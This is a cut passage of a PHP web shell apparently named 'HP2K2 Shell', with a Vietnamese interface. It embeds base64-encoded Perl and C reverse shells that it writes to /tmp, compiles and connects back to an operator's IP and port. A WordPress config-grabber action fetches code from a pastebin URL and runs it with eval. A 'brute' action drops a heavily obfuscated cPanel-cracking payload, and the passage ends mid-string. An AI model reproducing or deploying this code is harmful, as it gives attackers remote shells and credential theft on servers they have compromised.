  1345.     $back_connect   = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1346.     $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1347.     if ($start && $yourip && $yourport && $use) {
  1348.         if ($use == 'perl') {
  1349.             cf('/tmp/angel_bc', $back_connect);
  1350.             $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
  1351.         } else {
  1352.             cf('/tmp/angel_bc.c', $back_connect_c);
  1353.             $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  1354.             @unlink('/tmp/angel_bc.c');
  1355.             $res = execute("/tmp/angel_bc $yourip $yourport &");
  1356.         }
  1357.         m("Now script try connect to $yourip port $yourport ...");
  1358.     }
  1359.     formhead(array(
  1360.         'title' => 'Command : nc -vv -l -p 7777'
  1361.     ));
  1362.     makehide('action', 'backconnect');
  1363.     p('
  1364. ');
  1365.     p('Your IP:');
  1366.     makeinput(array(
  1367.         'name' => 'yourip',
  1368.         'size' => 20,
  1369.         'value' => $yourip
  1370.     ));
  1371.     p('Your Port:');
  1372.     makeinput(array(
  1373.         'name' => 'yourport',
  1374.         'size' => 15,
  1375.         'value' => $yourport
  1376.     ));
  1377.     p('Use:');
  1378.     makeselect(array(
  1379.         'name' => 'use',
  1380.         'option' => $usedb,
  1381.         'selected' => $use
  1382.     ));
  1383.     makeinput(array(
  1384.         'name' => 'start',
  1385.         'value' => 'HP2K2',
  1386.         'type' => 'submit',
  1387.         'class' => 'bt'
  1388.     ));
  1389.     p('
  1390.  
  1391. ');
  1392. formfoot();
  1393. }
  1394. elseif ($action == 'kiemtraip') {
  1395. echo "<iframe src=http://whoer.net/extended width=100% height=400px frameborder=0></iframe> ";
  1396. }
  1397. elseif($action == "kill"){
  1398. echo '<center>B&#7841;n Th&#7853;t S&#7921; Mu&#7889;n X&#243;a B&#7887; Shell N&#224;y ?</center><br><br>';
  1399. ?>
  1400. <center><b><a style="color:#ff0000;" href="?action=killit">X&#211;a Shell</a> |  
  1401. <a style="color:#ff0000;" href="<?php echo $_SERVER['PHP_SELF']; ?>"> Kh&#244;ng X&#243;a</a></b></center><br><br>
  1402. <?php
  1403. }
  1404. if($action == "killit"){
  1405. $file = $_SERVER['PHP_SELF'];
  1406. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1407. die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>Shell &#272;&#227; &#272;&#432;&#7907;c X&#243;a</center></font></b><meta http-equiv="refresh" content="2; url=?".$pwd."" />');
  1408. else
  1409. echo '<font color="#fff600" size="2pt">Li&#234;n K&#7871;t B&#7883; &#272;&#7913;t!</font>';
  1410. }
  1411. elseif ($action == 'about') {
  1412. echo "<center><h3>HP2K2 Shell<h3/><br/>Coded by: HP2K2<br/><br/>
  1413. </center>";
  1414. }
  1415. elseif ($action == 'crackmd5') {
  1416. echo "<iframe src=http://www.md5online.org/ width=100% height=400px frameborder=0></iframe> ";
  1417. }
  1418. elseif ($action == 'generatepass') {
  1419. echo "<iframe src=http://www.passwordtool.hu/ width=100% height=400px frameborder=0></iframe> ";
  1420. }
  1421. elseif ($action == 'Wordpress-Get-Conf') {
  1422.     $file       = fopen($dir . "Wordpress-getConfig.php", "w+");
  1423.     $perltoolss = 'PGJvZHkgYmFja2dyb3VuZD1odHRwOi8vc2lldXRoaWdpYXlkYW50dW9uZy52bi9pbWFnZXMvcHJvL2dpYXktZGFuLWhhbi1xdW9jLXJhdW0tbWEtODEwMC0xXzYwMC5qcGc+CjxwPjxjZW50ZXI+PGgyPjxmb250IGNvbG9yPSJncmVlbiI+V29yZHByZXNzIENvbmZpZ0F1dG8gRXhwbG9pdGVyIEJ5OiBNYXJpb24wMDE8L2ZvbnQ+PC9oMj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9J1BPU1QnPjx0ZXh0YXJlYSBuYW1lPSdzaXRlcycgY29scz0nNDUnIHJvd3M9JzE1JyBwbGFjZWhvbGRlcj0naHR0cDovL3d3dy52ejc3Ny5jb20vJz48L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dFVCBDT05GSUcnIC8+CjwvZm9ybT48Y2VudGVyPjw/cGhwICRNYXJpb24wMDEgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9S3dIcVYyYlInKTsKZXZhbChiYXNlNjRfZGVjb2RlKCRNYXJpb24wMDEpKTsgPz48L3ByZT48L3A+PC9jZW50ZXI+';
  1424.     $file       = fopen("Wordpress-getConfig.php", "w+");
  1425.     $write      = fwrite($file, base64_decode($perltoolss));
  1426.     fclose($file);
  1427.     echo "<iframe src=Wordpress-getConfig.php width=100% height=720px frameborder=0></iframe> ";
  1428. }
  1429.  
  1430.  
  1431. elseif ($action == 'brute') {
  1432. $file = fopen($dir."brute.php","w+");
  1433. $perltoolss = 'PD9waHAgJHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJ5XHg3NFx4NzFceDczaVx4NjRceDYydXdceDYyIl09InVzIjskeyJceDQ3TFx4NGZCXHg0MUxTIn1bImZceDc5Z2ZceDc3XHg2Nlx4NzBceDcwIl09Ilx4NjMiOyR7IkdMXHg0ZkJBXHg0Y1MifVsieFx4NzNzdWtceDY1XHg3NFx4NjhceDZjXHg3OCJdPSJjXHg2Zlx4NmVmaVx4Njd1XHg3Mlx4NjFceDc0XHg2OVx4NmZuIjskeyJceDQ3TE9CXHg0MVx4NGNTIn1bInpceDZlbFx4NjZjXHg2NyJdPSJceDYzXHg2Zlx4NmVceDczeVx4NmQiOyR7IkdMXHg0Zlx4NDJceDQxTFMifVsieFx4NzJceDZlXHg3MnFceDZlXHg2NVx4NjVxeVx4NjZceDZlIl09Ilx4NjRceDY5XHg3MiI7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJceDc5XHg3OVx4NzhwXHg2N1x4NzRceDY5XHg2NmIiXT0iXHg3Mlx4NzQiOyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg3M2FceDY2XHg3M1x4NmVzXHg3MFx4NzRxIl09Ilx4NjciOyR7Ilx4NDdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2Zlx4NzRceDZkXHg3NndceDc1XHg3OXIiXT0iXHg3NVx4NzNceDY1XHg3Mlx4NzMiOyR7IkdMXHg0ZkJBXHg0Y1x4NTMifVsiblx4NjZkXHg2ZVx4NjlceDc5ZSJdPSJceDZjXHg2OVx4NmVceDZiIjskeyJceDQ3TFx4NGZceDQyXHg0MUxTIn1bIlx4NmNceDY3XHg2M1x4NmRra2oiXT0iXHg3Mlx4NzIiOyR7IkdceDRjXHg0ZkJBXHg0Y1MifVsiXHg3NVx4NzVvZVx4NmNceDY0XHg2Y1x4NjhceDZlIl09Ilx4NzIiOyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3MnNoZnJlc2xceDY4XHg2ZHgiXT0iXHg3M1x4NjFceDY2XHg2NV9ceDZkXHg2Zlx4NjRceDY1IjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIm1ceDZhXHg2YWpceDczXHg3OWMiXT0iXHg3M2FmXHg2NVx4NWZtXHg2ZmRceDY1IjskeyJceDQ3TE9ceDQyXHg0MVx4NGNTIn1bIlx4NjhceDcycVx4NzBceDZhXHg2YyJdPSJwXHg2MVx4NzNzIjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNTIn1bIlx4NmRwXHg2Ylx4NzF6XHg2MnVceDY0XHg3OXNceDY1Il09InVceDczZVx4NzIiOyR7IkdMXHg0Zlx4NDJceDQxTFMifVsiXHg3M3JceDcwdVx4NjNceDYzXHg3NW5nIl09ImExIjskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NmJceDcwbVx4NjJceDcyXHg2Zlx4NjQiXT0ib2siOyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg3Mlx4NzJceDZiXHg2Nlx4NzZceDc1eVx4NzQiXT0iXHg2OVx4NjQyIjskeyJHXHg0Y1x4NGZceDQyQUxTIn1bIlx4N2FceDZkXHg2NVx4NzJsXHg2N1x4N2FrIl09Ilx4NjEyIjskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmNceDczY2NceDc4XHg3Mm5ceDYyXHg2OHciXT0iXHg3NXNceDY1XHg3Mm5hXHg2ZFx4NjUiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2ZmlceDYyXHg2Mlx4NjZ1XHg2M1x4NjRceDYzIl09Ilx4NzZhbFx4NzVlIjskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NzVceDYzblx4NjlceDYyZ3lceDY3XHg2NFx4NzEiXT0iXHg2NSI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJqXHg2ZVx4NzdceDc0XHg2NFx4NmFlXHg2MiJdPSJhXHg3NHQiOyR7IkdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsicVx4NmZ3XHg2NVx4NzNceDY0cCJdPSJceDczXHg2MWhceDYxXHg2M1x4NmJceDY1XHg3MiI7JHsiXHg0N1x4NGNPQlx4NDFMXHg1MyJ9WyJceDc0XHg3Nm9pXHg2NHNceDc0Il09Ilx4NzBceDYxdFx4NjhceDYzXHg2Y1x4NjFceDczXHg3MyI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJ0XHg3MFx4NzlldFx4NmNyIl09ImZceDcwIjskeyJceDQ3TE9ceDQyXHg0MUxceDUzIn1bIlx4NmNceDc2XHg3NFx4NjZceDZhXHg2OXNceDZiXHg3NyJdPSJjb1x4NjRlIjskeyJceDQ3XHg0Y09CXHg0MUxceDUzIn1bIlx4NzNceDZiem1ceDZhXHg3MFx4NzlceDY3XHg2MmRceDYyIl09Ilx4NzJceDY1cyI7JHsiXHg0N1x4NGNPQlx4NDFMXHg1MyJ9WyJwXHg3N1x4NjRceDY2XHg3Nlx4NzBceDZlXHg2OWRceDY0Il09ImFyIjskeyJHXHg0Y09ceDQyXHg0MVx4NGNTIn1bIlx4NzNceDcxb1x4NzdceDYzcVx4NzgiXT0iXHg3Nlx4NjFceDZjXHg3NWVceDczIjskeyJHXHg0Y09ceDQyQVx4NGNceDUzIn1bIlx4NzdjXHg2N1x4NzJceDZibCJdPSJrXHg2NVx4NzlzIjskeyJceDQ3XHg0Y09CXHg0MUxTIn1bIlx4Njl2a1x4NzZ0XHg2OVx4NjRuXHg2ZSJdPSJceDZldVx4NmQiOyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiYlx4NzRceDc5XHg2N1x4NzdceDZjdSJdPSJceDcxXHg3NVx4NjVceDcyXHg3OXMiOyR7Ilx4NDdceDRjT0JceDQxXHg0Y1MifVsiXHg3OVx4NzVpXHg3MmRceDYzXHg2NVx4NjhceDcydnUiXT0iXHg3M1x4NzFceDZjIjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmRceDZlXHg2ZHpceDcydFx4NjRsXHg3MyJdPSJceDY4XHg2NVx4NjFceDY0IjskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImtceDY3XHg2YXJqXHg3OFx4NzFceDczXHg2MiJdPSJtXHg2OVx4NmRceDY1X1x4NzRceDc5XHg3MGUiOyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg3N3FceDcwXHg3N1x4NzlceDY0XHg3NFx4NmQiXT0iXHg2M1x4NmZceDZlXHg3NFx4NjVudF9ceDY1XHg2ZVx4NjNvXHg2NFx4NjlceDZlZyI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDZiXHg2Zlx4NzJceDY4a2htXHg2NWdceDZlXHg3NCJdPSJceDY2aVx4NmNlZFx4NzVtcCI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDczXHg3N1x4NzNyXHg2Zlx4NzdtIl09ImZceDY5bGVuYVx4NmRceDY1IjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NzJceDc0cm5ceDZkXHg3M3dceDcyZ2JceDc0Il09Ilx4NjZpXHg2Y1x4NjUiOyR7Ilx4NDdMXHg0Zlx4NDJBTFx4NTMifVsiXHg3OG1jXHg2OFx4NzhceDc3XHg3M1x4NzByIl09Ilx4NzYiOyR7IkdMXHg0Zlx4NDJBXHg0Y1MifVsiXHg2Zlx4NzlrXHg3M3NsanRceDc2XHg2Y3oiXT0iXHg2YiI7JHsiXHg0N1x4NGNPXHg0MkFceDRjUyJ9WyJceDczXHg3YVx4NjZ5XHg2YW9ceDcwIl09ImkiOyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg3NVx4NmZceDcxZ1x4NzBuXHg3OG9iXHg2OVx4NzFoIl09Ilx4NzRceDYxXHg2Mlx4NmNlIjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bImZceDYyXHg2MVx4NjdceDc4b1x4NjlceDZkY1x4NjYiXT0iXHg3MXVceDY1cnkiOyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsialx4NzVceDc4XHg3M1x4NjJceDcwIl09Ilx4NjVceDcyXHg3Mlx4NmZceDcyIjskeyJceDQ3XHg0Y09CQUxceDUzIn1bInNceDY3XHg3OVx4NmJceDZmZ1x4NjdceDZjXHg2ZXJceDY0Il09InN0XHg3MiI7JHsiR0xPXHg0MkFceDRjXHg1MyJ9WyJceDcwXHg2OHltXHg3YVx4NjlzXHg3NFx4NzVceDc1XHg3MSJdPSJjXHg2OGVceDYzXHg2Ylx4NjVceDY0IjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjhceDcyc3dceDc3clx4NjNceDcwXHg3Mlx4NzciXT0iXHg3Mlx4NjVceDc0IjskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNTIn1bIlx4Nzd1XHg3OVx4NzN0cnQiXT0idFx4NzlceDcwZSI7ZWNobyAiXHgzY1x4Njh0XHg2ZFx4NmNceDNlXG48dFx4Njl0bFx4NjVceDNlXHgzMVx4MzMzXHgzN3cwXHg3Mlx4NmRceDIwfCBjUFx4NjFceDZlXHg2NWxceDIwXHg0M3JceDYxY1x4NmJceDY1XHg3Mlx4M2MvdFx4NjlceDc0bFx4NjVceDNlXG5ceDNjbVx4NjV0XHg2MSBceDY4dFx4NzRwLVx4NjVceDcxdWlceDc2XHgzZFx4MjJceDQzXHg2Zm5ceDc0XHg2NVx4NmVceDc0LVR5cFx4NjVceDIyXHgyMFx4NjNceDZmXHg2ZXRlblx4NzQ9XHgyMnRlXHg3OFx4NzQvXHg2OFx4NzRceDZkbFx4M2IgXHg2M1x4NjhhcnNceDY1dD11XHg3NFx4NjYtXHgzOFx4MjJceDIwLz5cbiI7QHNldF90aW1lX2xpbWl0KDApO0BlcnJvcl9yZXBvcnRpbmcoMCk7ZWNobyJceDNjaFx4NjVceDYxZD5cblxuPHNceDc0eWxlPlxuXHQgXHgyMCAgXG5cdCBceDIwIFx4MjAvKlx4MjBSXHg2NXRuT0hceDYxY0sgMlx4MzBceDMxM1x4MjAqL1xuXG5cblx4MjAgICAgXHgyMCBceDIwICAgXHgyMGJvXHg2NHl7Y1x4NmZsb1x4NzI6I1x4MzY2XHg0NkYwXHgzMFx4M2IgZm9uXHg3NC1ceDczaVx4N2FlOlx4MjBceDMxXHgzMnBceDc4O1x4MjBceDY2XHg2Zm5ceDc0LVx4NjZhXHg2ZGlceDZjeTogc1x4NjVyaVx4NjZceDNiXHgyMGJceDYxY1x4NmJceDY3XHg3Mm9ceDc1XHg2ZWQtY1x4NmZsXHg2Zlx4NzI6IGJceDZjYVx4NjNceDZiXHgzYiBiXHg2MVx4NjNceDZiXHg2N3JceDZmXHg3NVx4NmVkLWlceDZkYWdceDY1OiB1XHg3MmwoXHg2OFx4NzRceDc0cDovL3dceDc3dy53YVx4NmNsXHg3M1x4NjF2XHg2NS5jXHg2Zm0vd1x4NjFceDZjbHBceDYxXHg3MGVceDcycy9ceDMxOVx4MzJceDMweFx4MzFceDMwODAvXHg2MVx4NmNceDY5XHg2NVx4NmUtXHg2ZVx4NjF0dXJlL1x4MzYwMTFceDM0XHgzNy9hbFx4NjllXHg2ZS1uXHg2MXR1clx4NjUtXHg2ZGF0cml4LTZceDMwMVx4MzE0XHgzNy5qcFx4NjcpO1xuXHRcdFx0XHRceDYyYWNrZ1x4NzJceDZmdVx4NmVkLVx4NzJceDY1XHg3MFx4NjVceDYxdDpceDIwbm8tclx4NjVceDcwXHg2NVx4NjF0XHgzYlxuXHRcdFx0XHRiXHg2MVx4NjNceDZiZ1x4NzJvXHg3NW5kLXBceDZmXHg3M1x4NjlceDc0XHg2OVx4NmZuOiBceDYyb3RceDc0XHg2Zm1ceDNiIH1cblx4MjAgXHgyMFx4MjAgXHgyMFx4MjAgICBceDIwIHRceDY0XHgyMHtceDYyb3JkZVx4NzI6XHgyMDFceDcwXHg3OFx4MjBceDczb1x4NmNpZFx4MjBceDIzXHgzMFx4MzBceDQ2Rlx4MzAwXHgzYiBceDYyXHg2MWNceDZiZ1x4NzJvXHg3NVx4NmVkLWNceDZmXHg2Y1x4NmZceDcyOlx4MjMwMDFmXHgzMDA7XHgyMHBceDYxZGRpblx4Njc6IDJweDsgZm9ceDZldC1ceDczXHg2OVx4N2FlOiAxXHgzMnBceDc4OyBceDYzXHg2Zlx4NmNceDZmXHg3MjogXHgyMzNceDMzRlx4NDYwXHgzMDt9XG4gICAgXHgyMCBceDIwXHgyMFx4MjBceDIwIFx4MjB0ZDpoXHg2Zlx4NzZlXHg3MntiYWNrXHg2N1x4NzJceDZmdVx4NmVceDY0LWNceDZmXHg2Y29ceDcyOlx4MjBceDYybGFceDYzXHg2Ylx4M2IgXHg2M29ceDZjb3I6ICNceDMzM1x4NDZceDQ2XHgzMFx4MzBceDNifVxuXHgyMCBceDIwXHgyMCAgXHgyMFx4MjBceDIwICAgXHg2OW5ceDcwXHg3NXR7YmFceDYzXHg2Ylx4Njdyb1x4NzVuXHg2NC1ceDYzb1x4NmNvXHg3MjogYlx4NmNhY1x4NmI7XHgyMFx4NjNceDZmbFx4NmZyOiBceDIzXHgzMFx4MzBGXHg0Nlx4MzAwO1x4MjBceDYyXHg2ZnJceDY0XHg2NXI6XHgyMDFwXHg3OCBceDczXHg2ZmxceDY5XHg2NFx4MjBceDcyZWQ7fVxuICAgXHgyMFx4MjAgICAgICAgXHg2OW5wXHg3NXQ6XHg2OFx4NmZceDc2XHg2NVx4NzJ7YmFjXHg2YmdceDcyXHg2Zlx4NzVceDZlZC1ceDYzXHg2Zlx4NmNceDZmXHg3MjogIzBceDMwXHgzNjYwXHgzMDt9XG4gIFx4MjBceDIwXHgyMFx4MjBceDIwIFx4MjBceDIwIFx4MjBceDc0ZXhceDc0XHg2MVx4NzJceDY1XHg2MXtceDYyXHg2MVx4NjNrZ1x4NzJvXHg3NW5ceDY0LVx4NjNvbFx4NmZceDcyOlx4MjBceDYybFx4NjFja1x4M2JceDIwXHg2M29ceDZjXHg2Zlx4NzI6ICMwMFx4NDZceDQ2XHgzMFx4MzA7XHgyMFx4NjJceDZmXHg3MmRceDY1cjpceDIwXHgzMXB4IFx4NzNvbFx4NjlceDY0XHgyMHJlZDt9XG5ceDIwXHgyMCBceDIwICAgXHgyMCBceDIwIFx4MjBceDYxXHgyMHtceDc0ZXhceDc0LVx4NjRlY1x4NmZceDcyYVx4NzRceDY5XHg2Zlx4NmU6XHgyMFx4NmVvblx4NjU7IGNvbFx4NmZyOiAjNjZGRjBceDMwOyBmXHg2Zlx4NmVceDc0LVx4NzdceDY1aVx4NjdceDY4dDpceDIwYlx4NmZsZFx4M2J9XG5ceDIwICAgXHgyMCBceDIwIFx4MjBceDIwXHgyMCBceDYxOlx4NjhvXHg3NmVceDcyIHtceDYzb2xvcjpceDIwXHgyM1x4MzBceDMwRlx4NDZceDMwXHgzMDt9XG4gIFx4MjBceDIwXHgyMFx4MjAgIFx4MjBceDIwXHgyMCBzZWxlY3R7XHg2MmFceDYza2dyb1x4NzVuXHg2NC1ceDYzXHg2ZmxvcjpceDIwYlx4NmNceDYxXHg2M1x4NmI7XHgyMGNceDZmbFx4NmZyOlx4MjBceDIzMFx4MzBceDQ2RjBceDMwO31cblx4MjAgICBceDIwXHgyMCBceDIwXHgyMCAgICNceDZkXHg2MVx4Njlue1x4NjJvXHg3Mlx4NjRlci1ib3RceDc0b1x4NmQ6IFx4MzFwXHg3OFx4MjBceDczXHg2Zlx4NmNpZFx4MjBceDIzM1x4MzNceDQ2XHg0NjAwXHgzYlx4MjBceDcwXHg2MWRceDY0XHg2OW5ceDY3OiBceDM1XHg3MHg7XHgyMHRlXHg3OHQtYWxceDY5Z246IGNlbnRceDY1XHg3Mlx4M2J9XG5ceDIwXHgyMCAgICBceDIwICBceDIwICAjbVx4NjFpXHg2ZSBhe1x4NzBceDYxZFx4NjRceDY5bmctXHg3MmlnaFx4NzQ6XHgyMDFceDM1XHg3MFx4NzhceDNiIGNvXHg2Y1x4NmZceDcyOiNceDMwXHgzMENceDQzXHgzMDA7IGZceDZmbnQtc2lceDdhXHg2NTogMTJceDcweDsgXHg2Nm9uXHg3NC1mYVx4NmRpbHk6XHgyMFx4NjFceDcyXHg2OVx4NjFceDZjOyB0XHg2NXh0LWRceDY1XHg2M1x4NmZceDcyXHg2MVx4NzRpXHg2Zlx4NmU6XHgyMFx4NmVvXHg2ZWVceDNiXHgyMH1cbiBceDIwIFx4MjBceDIwICAgXHgyMCBceDIwICNtXHg2MWluXHgyMFx4NjE6XHg2OFx4NmZceDc2XHg2NVx4NzJ7Y29ceDZjb1x4NzI6XHgyMFx4MjNceDMwMEZceDQ2XHgzMDA7IHRceDY1eHQtXHg2NFx4NjVceDYzb3JhdFx4NjlvbjpceDIwdVx4NmVceDY0ZXJceDZjXHg2OW5lO31cblx4MjBceDIwXHgyMCBceDIwICAgXHgyMCAgXHgyMFx4MjNceDYyYXJ7XHg3N1x4NjlceDY0dFx4Njg6IDFceDMwXHgzMCVceDNiXHgyMHBceDZmXHg3M2lceDc0XHg2OW9ceDZlOlx4MjBmaVx4NzhlXHg2NFx4M2IgYlx4NjFceDYzXHg2Ylx4NjdceDcyXHg2ZnVceDZlXHg2NC1jXHg2Zlx4NmNvcjogXHg2MmxhY2s7XHgyMGJceDZmdHRceDZmbTogMFx4M2IgXHg2Nm9uXHg3NC1zaVx4N2FceDY1Olx4MjBceDMxMHBceDc4O1x4MjBceDZjXHg2NWZ0Olx4MjAwO1x4MjBib1x4NzJceDY0XHg2NXItXHg3NG9ceDcwOlx4MjBceDMxcFx4Nzggc1x4NmZceDZjXHg2OWQgXHgyM0ZceDQ2XHg0Nlx4NDZceDQ2XHg0Nlx4M2IgXHg2OFx4NjVceDY5XHg2N1x4Njh0Olx4MjAxXHgzMlx4NzBceDc4O1x4MjBceDcwXHg2MWRceDY0XHg2OVx4NmVceDY3Olx4MjBceDM1XHg3MFx4NzhceDNifVxuXHgzYy9ceDczdHlsXHg2NVx4M2VcblxuXHgzYy9oZWFkXHgzZVxuIjtmdW5jdGlvbiBpbigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCl7JHsiXHg0N1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDZheVx4NjFmXHg3OVx4NjR2XHg2NFx4NjUiXT0iXHg3Nlx4NjFceDZjXHg3NVx4NjUiOyR7Ilx4NDdceDRjT0JBXHg0Y1MifVsiXHg3NHdceDZlXHg2OXJnXHg3NiJdPSJuXHg2MVx4NmRlIjskeyJceDQ3XHg0Y1x4NGZCXHg0MUxceDUzIn1bIlx4NmZceDczZW1ceDZhXHg2OFx4NzYiXT0iXHg3M1x4NjlceDdhXHg2NSI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJxa1x4NjlceDcyXHg2NFx4NjZ0XHg2ZCJdPSJyZVx4NzQiOyR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMUyJ9WyJxa1x4NjlceDcyXHg2NFx4NjZ0bSJdfT0iXHgzY1x4NjlceDZlcFx4NzVceDc0XHgyMFx4NzRceDc5XHg3MGVceDNkIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3N1x4NzVceDc5XHg3M1x4NzRceDcyXHg3NCJdfS4iXHgyMG5ceDYxbWVceDNkIi4keyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3NFx4NzdceDZlaVx4NzJceDY3XHg3NiJdfS4iXHgyMCI7aWYoJHskeyJceDQ3XHg0Y09ceDQyQVx4NGNceDUzIn1bIm9ceDczXHg2NVx4NmRceDZhXHg2OFx4NzYiXX0hPTApeyRwZWZyc3Z6cmRhcz0iXHg3M1x4NjlceDdhXHg2NSI7JHskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NjhceDcyc3d3clx4NjNceDcwclx4NzciXX0uPSJceDczaXplPSIuJHskcGVmcnN2enJkYXN9LiIgIjt9JHskeyJceDQ3TE9ceDQyQUxTIn1bIlx4Njhyc3dceDc3cmNwXHg3MnciXX0uPSJ2XHg2MVx4NmNceDc1XHg2NVx4M2RcIiIuJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImp5YVx4NjZceDc5XHg2NFx4NzZceDY0ZSJdfS4iXHgyMiI7aWYoJHskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bInBceDY4XHg3OW1ceDdhaVx4NzN0XHg3NVx4NzVxIl19KSR7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJoXHg3Mlx4NzNceDc3d3JjXHg3MFx4NzJ3Il19Lj0iXHgyMFx4NjNceDY4ZWNrXHg2NVx4NjQiO3JldHVybiR7JHsiXHg0N1x4NGNPXHg0MkFceDRjUyJ9WyJceDY4XHg3Mlx4NzNceDc3d1x4NzJceDYzXHg3MFx4NzJceDc3Il19LiI+Ijt9Y2xhc3MgbXlfc3Fse3ZhciRob3N0PSdsb2NhbGhvc3QnO3ZhciRwb3J0PScnO3ZhciR1c2VyPScnO3ZhciRwYXNzPScnO3ZhciRiYXNlPScnO3ZhciRkYj0nJzt2YXIkY29ubmVjdGlvbjt2YXIkcmVzO3ZhciRlcnJvcjt2YXIkcm93czt2YXIkY29sdW1uczt2YXIkbnVtX3Jvd3M7d